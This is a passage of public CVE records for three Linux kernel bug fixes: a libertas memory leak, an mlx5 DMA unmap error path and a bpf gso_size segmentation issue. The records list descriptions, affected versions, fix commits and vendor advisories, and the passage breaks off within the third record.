wifi: libertas: fix some memleaks in lbs_allocate_cmd_buffer()

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: libertas: fix some memleaks in lbs_allocate_cmd_buffer() In the for statement of lbs_allocate_cmd_buffer(), if the allocation of cmdarray[i].cmdbuf fails, both cmdarray and cmdarray[i].cmdbuf needs to be freed. Otherwise, there will be memleaks in lbs_allocate_cmd_buffer().

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/96481624fb5a63190…
https://git.kernel.org/stable/c/bea9573c795acec56…
https://git.kernel.org/stable/c/f0dd27314c7afe347…
https://git.kernel.org/stable/c/e888c4461e109f7b9…
https://git.kernel.org/stable/c/4d99d267da3415db2…
https://git.kernel.org/stable/c/da10f6b7918abd5b4…
https://git.kernel.org/stable/c/d219724d4b0ddb8ec…
https://git.kernel.org/stable/c/8e243ac649c10922a…
https://git.kernel.org/stable/c/5f0e4aede01cb01fa…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 876c9d3aeb989cf1961f2c228d309ba5dcfb1172 , < 96481624fb5a6319079fb5059e46dbce43a90186 (git) Affected: 876c9d3aeb989cf1961f2c228d309ba5dcfb1172 , < bea9573c795acec5614d4ac2dcc7b3b684cea5bf (git) Affected: 876c9d3aeb989cf1961f2c228d309ba5dcfb1172 , < f0dd27314c7afe34794c2aa19dd6f2d30eb23bc7 (git) Affected: 876c9d3aeb989cf1961f2c228d309ba5dcfb1172 , < e888c4461e109f7b93c3522afcbbaa5a8fdf29d2 (git) Affected: 876c9d3aeb989cf1961f2c228d309ba5dcfb1172 , < 4d99d267da3415db2124029cb5a6d2d955ca43f9 (git) Affected: 876c9d3aeb989cf1961f2c228d309ba5dcfb1172 , < da10f6b7918abd5b4bc5c9cb66f0fc6763ac48f3 (git) Affected: 876c9d3aeb989cf1961f2c228d309ba5dcfb1172 , < d219724d4b0ddb8ec7dfeaed5989f23edabaf591 (git) Affected: 876c9d3aeb989cf1961f2c228d309ba5dcfb1172 , < 8e243ac649c10922a6b4855170eaefe4c5b3faab (git) Affected: 876c9d3aeb989cf1961f2c228d309ba5dcfb1172 , < 5f0e4aede01cb01fa633171f0533affd25328c3a (git)
Linux	Linux	Affected: 2.6.22 Unaffected: 0 , < 2.6.22 (semver) Unaffected: 4.19.311 , ≤ 4.19.* (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35828",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T14:12:48.621996Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:33:51.765Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:47.588Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/96481624fb5a6319079fb5059e46dbce43a90186"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/bea9573c795acec5614d4ac2dcc7b3b684cea5bf"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f0dd27314c7afe34794c2aa19dd6f2d30eb23bc7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e888c4461e109f7b93c3522afcbbaa5a8fdf29d2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4d99d267da3415db2124029cb5a6d2d955ca43f9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/da10f6b7918abd5b4bc5c9cb66f0fc6763ac48f3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d219724d4b0ddb8ec7dfeaed5989f23edabaf591"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8e243ac649c10922a6b4855170eaefe4c5b3faab"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5f0e4aede01cb01fa633171f0533affd25328c3a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:14.145Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/marvell/libertas/cmd.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "96481624fb5a6319079fb5059e46dbce43a90186",
              "status": "affected",
              "version": "876c9d3aeb989cf1961f2c228d309ba5dcfb1172",
              "versionType": "git"
            },
            {
              "lessThan": "bea9573c795acec5614d4ac2dcc7b3b684cea5bf",
              "status": "affected",
              "version": "876c9d3aeb989cf1961f2c228d309ba5dcfb1172",
              "versionType": "git"
            },
            {
              "lessThan": "f0dd27314c7afe34794c2aa19dd6f2d30eb23bc7",
              "status": "affected",
              "version": "876c9d3aeb989cf1961f2c228d309ba5dcfb1172",
              "versionType": "git"
            },
            {
              "lessThan": "e888c4461e109f7b93c3522afcbbaa5a8fdf29d2",
              "status": "affected",
              "version": "876c9d3aeb989cf1961f2c228d309ba5dcfb1172",
              "versionType": "git"
            },
            {
              "lessThan": "4d99d267da3415db2124029cb5a6d2d955ca43f9",
              "status": "affected",
              "version": "876c9d3aeb989cf1961f2c228d309ba5dcfb1172",
              "versionType": "git"
            },
            {
              "lessThan": "da10f6b7918abd5b4bc5c9cb66f0fc6763ac48f3",
              "status": "affected",
              "version": "876c9d3aeb989cf1961f2c228d309ba5dcfb1172",
              "versionType": "git"
            },
            {
              "lessThan": "d219724d4b0ddb8ec7dfeaed5989f23edabaf591",
              "status": "affected",
              "version": "876c9d3aeb989cf1961f2c228d309ba5dcfb1172",
              "versionType": "git"
            },
            {
              "lessThan": "8e243ac649c10922a6b4855170eaefe4c5b3faab",
              "status": "affected",
              "version": "876c9d3aeb989cf1961f2c228d309ba5dcfb1172",
              "versionType": "git"
            },
            {
              "lessThan": "5f0e4aede01cb01fa633171f0533affd25328c3a",
              "status": "affected",
              "version": "876c9d3aeb989cf1961f2c228d309ba5dcfb1172",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/marvell/libertas/cmd.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.22"
            },
            {
              "lessThan": "2.6.22",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.311",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.311",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: libertas: fix some memleaks in lbs_allocate_cmd_buffer()\n\nIn the for statement of lbs_allocate_cmd_buffer(), if the allocation of\ncmdarray[i].cmdbuf fails, both cmdarray and cmdarray[i].cmdbuf needs to\nbe freed. Otherwise, there will be memleaks in lbs_allocate_cmd_buffer()."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:11:47.109Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/96481624fb5a6319079fb5059e46dbce43a90186"
        },
        {
          "url": "https://git.kernel.org/stable/c/bea9573c795acec5614d4ac2dcc7b3b684cea5bf"
        },
        {
          "url": "https://git.kernel.org/stable/c/f0dd27314c7afe34794c2aa19dd6f2d30eb23bc7"
        },
        {
          "url": "https://git.kernel.org/stable/c/e888c4461e109f7b93c3522afcbbaa5a8fdf29d2"
        },
        {
          "url": "https://git.kernel.org/stable/c/4d99d267da3415db2124029cb5a6d2d955ca43f9"
        },
        {
          "url": "https://git.kernel.org/stable/c/da10f6b7918abd5b4bc5c9cb66f0fc6763ac48f3"
        },
        {
          "url": "https://git.kernel.org/stable/c/d219724d4b0ddb8ec7dfeaed5989f23edabaf591"
        },
        {
          "url": "https://git.kernel.org/stable/c/8e243ac649c10922a6b4855170eaefe4c5b3faab"
        },
        {
          "url": "https://git.kernel.org/stable/c/5f0e4aede01cb01fa633171f0533affd25328c3a"
        }
      ],
      "title": "wifi: libertas: fix some memleaks in lbs_allocate_cmd_buffer()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35828",
    "datePublished": "2024-05-17T13:41:12.702Z",
    "dateReserved": "2024-05-17T12:19:12.347Z",
    "dateUpdated": "2026-05-12T11:52:14.145Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50001 (GCVE-0-2024-50001)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:02 – Updated: 2026-05-12 11:59

Title

net/mlx5: Fix error path in multi-packet WQE transmit

Summary

In the Linux kernel, the following vulnerability has been resolved: net/mlx5: Fix error path in multi-packet WQE transmit Remove the erroneous unmap in case no DMA mapping was established The multi-packet WQE transmit code attempts to obtain a DMA mapping for the skb. This could fail, e.g. under memory pressure, when the IOMMU driver just can't allocate more memory for page tables. While the code tries to handle this in the path below the err_unmap label it erroneously unmaps one entry from the sq's FIFO list of active mappings. Since the current map attempt failed this unmap is removing some random DMA mapping that might still be required. If the PCI function now presents that IOVA, the IOMMU may assumes a rogue DMA access and e.g. on s390 puts the PCI function in error state. The erroneous behavior was seen in a stress-test environment that created memory pressure.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/ca36d6c1a49b6965c…
https://git.kernel.org/stable/c/ce828b347cf1b3c1b…
https://git.kernel.org/stable/c/fc357e78176945ca7…
https://git.kernel.org/stable/c/26fad69b34fcba80d…
https://git.kernel.org/stable/c/ecf310aaf256acbc8…
https://git.kernel.org/stable/c/8bb8c12fb5e2b1f03…
https://git.kernel.org/stable/c/2bcae12c795f32ddf…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 5af75c747e2a868abbf8611494b50ed5e076fca7 , < ca36d6c1a49b6965c86dd528a73f38bc62d9c625 (git) Affected: 5af75c747e2a868abbf8611494b50ed5e076fca7 , < ce828b347cf1b3c1b12b091d02463c35ce5097f5 (git) Affected: 5af75c747e2a868abbf8611494b50ed5e076fca7 , < fc357e78176945ca7bcacf92ab794b9ccd41b4f4 (git) Affected: 5af75c747e2a868abbf8611494b50ed5e076fca7 , < 26fad69b34fcba80d5c7d9e651f628e6ac927754 (git) Affected: 5af75c747e2a868abbf8611494b50ed5e076fca7 , < ecf310aaf256acbc8182189fe0aa1021c3ddef72 (git) Affected: 5af75c747e2a868abbf8611494b50ed5e076fca7 , < 8bb8c12fb5e2b1f03d603d493c92941676f109b5 (git) Affected: 5af75c747e2a868abbf8611494b50ed5e076fca7 , < 2bcae12c795f32ddfbf8c80d1b5f1d3286341c32 (git)
Linux	Linux	Affected: 5.10 Unaffected: 0 , < 5.10 (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.10.14 , ≤ 6.10.* (semver) Unaffected: 6.11.3 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-50001",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:29:57.852551Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:38:41.116Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:24:17.517Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:59:37.348Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/mellanox/mlx5/core/en_tx.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "ca36d6c1a49b6965c86dd528a73f38bc62d9c625",
              "status": "affected",
              "version": "5af75c747e2a868abbf8611494b50ed5e076fca7",
              "versionType": "git"
            },
            {
              "lessThan": "ce828b347cf1b3c1b12b091d02463c35ce5097f5",
              "status": "affected",
              "version": "5af75c747e2a868abbf8611494b50ed5e076fca7",
              "versionType": "git"
            },
            {
              "lessThan": "fc357e78176945ca7bcacf92ab794b9ccd41b4f4",
              "status": "affected",
              "version": "5af75c747e2a868abbf8611494b50ed5e076fca7",
              "versionType": "git"
            },
            {
              "lessThan": "26fad69b34fcba80d5c7d9e651f628e6ac927754",
              "status": "affected",
              "version": "5af75c747e2a868abbf8611494b50ed5e076fca7",
              "versionType": "git"
            },
            {
              "lessThan": "ecf310aaf256acbc8182189fe0aa1021c3ddef72",
              "status": "affected",
              "version": "5af75c747e2a868abbf8611494b50ed5e076fca7",
              "versionType": "git"
            },
            {
              "lessThan": "8bb8c12fb5e2b1f03d603d493c92941676f109b5",
              "status": "affected",
              "version": "5af75c747e2a868abbf8611494b50ed5e076fca7",
              "versionType": "git"
            },
            {
              "lessThan": "2bcae12c795f32ddfbf8c80d1b5f1d3286341c32",
              "status": "affected",
              "version": "5af75c747e2a868abbf8611494b50ed5e076fca7",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/mellanox/mlx5/core/en_tx.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.10"
            },
            {
              "lessThan": "5.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.14",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.3",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5: Fix error path in multi-packet WQE transmit\n\nRemove the erroneous unmap in case no DMA mapping was established\n\nThe multi-packet WQE transmit code attempts to obtain a DMA mapping for\nthe skb. This could fail, e.g. under memory pressure, when the IOMMU\ndriver just can\u0027t allocate more memory for page tables. While the code\ntries to handle this in the path below the err_unmap label it erroneously\nunmaps one entry from the sq\u0027s FIFO list of active mappings. Since the\ncurrent map attempt failed this unmap is removing some random DMA mapping\nthat might still be required. If the PCI function now presents that IOVA,\nthe IOMMU may assumes a rogue DMA access and e.g. on s390 puts the PCI\nfunction in error state.\n\nThe erroneous behavior was seen in a stress-test environment that created\nmemory pressure."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:43:37.334Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/ca36d6c1a49b6965c86dd528a73f38bc62d9c625"
        },
        {
          "url": "https://git.kernel.org/stable/c/ce828b347cf1b3c1b12b091d02463c35ce5097f5"
        },
        {
          "url": "https://git.kernel.org/stable/c/fc357e78176945ca7bcacf92ab794b9ccd41b4f4"
        },
        {
          "url": "https://git.kernel.org/stable/c/26fad69b34fcba80d5c7d9e651f628e6ac927754"
        },
        {
          "url": "https://git.kernel.org/stable/c/ecf310aaf256acbc8182189fe0aa1021c3ddef72"
        },
        {
          "url": "https://git.kernel.org/stable/c/8bb8c12fb5e2b1f03d603d493c92941676f109b5"
        },
        {
          "url": "https://git.kernel.org/stable/c/2bcae12c795f32ddfbf8c80d1b5f1d3286341c32"
        }
      ],
      "title": "net/mlx5: Fix error path in multi-packet WQE transmit",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50001",
    "datePublished": "2024-10-21T18:02:40.254Z",
    "dateReserved": "2024-10-21T12:17:06.058Z",
    "dateUpdated": "2026-05-12T11:59:37.348Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-42281 (GCVE-0-2024-42281)

Vulnerability from cvelistv5 – Published: 2024-08-17 09:08 – Updated: 2026-05-12 11:56

Title

bpf: Fix a segment issue when downgrading gso_size

Summary

In the Linux kernel, the following vulnerability has been resolved: bpf: Fix a segment issue when downgrading gso_size Linearize the skb when downgrading gso_size because it may trigger a BUG_ON() later when the skb is segmented as described in [1,2].

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/a689f5eb13a90f892…
https://git.kernel.org/stable/c/dda518dea60d556a2…
https://git.kernel.org/stable/c/f6bb8c90cab97a3e0…
https://git.kernel.org/stable/c/11ec79f5c7f742618…
https://git.kernel.org/stable/c/c3496314c53e7e82d…
https://git.kernel.org/stable/c/ec4eea14d75f7b049…
https://git.kernel.org/stable/c/fa5ef655615a01533…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 2be7e212d5419a400d051c84ca9fdd083e5aacac , < a689f5eb13a90f892a088865478b3cd39f53d5dc (git) Affected: 2be7e212d5419a400d051c84ca9fdd083e5aacac , < dda518dea60d556a2d171c0122ca7d9fdb7d473a (git) Affected: 2be7e212d5419a400d051c84ca9fdd083e5aacac , < f6bb8c90cab97a3e03f8d30e3069efe6a742e0be (git) Affected: 2be7e212d5419a400d051c84ca9fdd083e5aacac , < 11ec79f5c7f74261874744039bc1551023edd6b2 (git) Affected: 2be7e212d5419a400d051c84ca9fdd083e5aacac , < c3496314c53e7e82ddb544c825defc3e8c0e45cf (git) Affected: 2be7e212d5419a400d051c84ca9fdd083e5aacac , < ec4eea14d75f7b0491194dd413f540dd19b8c733 (git) Affected: 2be7e212d5419a400d051c84ca9fdd083e5aacac , < fa5ef655615a01533035c6139248c5b33aa27028 (git)
Linux	Linux	Affected: 4.13 Unaffected: 0 , < 4.13 (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.103 , ≤ 6.1.* (semver) Unaffected: 6.6.44 , ≤ 6.6.* (semver) Unaffected: 6.10.3 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-42281",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:11:36.471436Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:30.904Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:03:23.250Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:45.689Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/core/filter.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
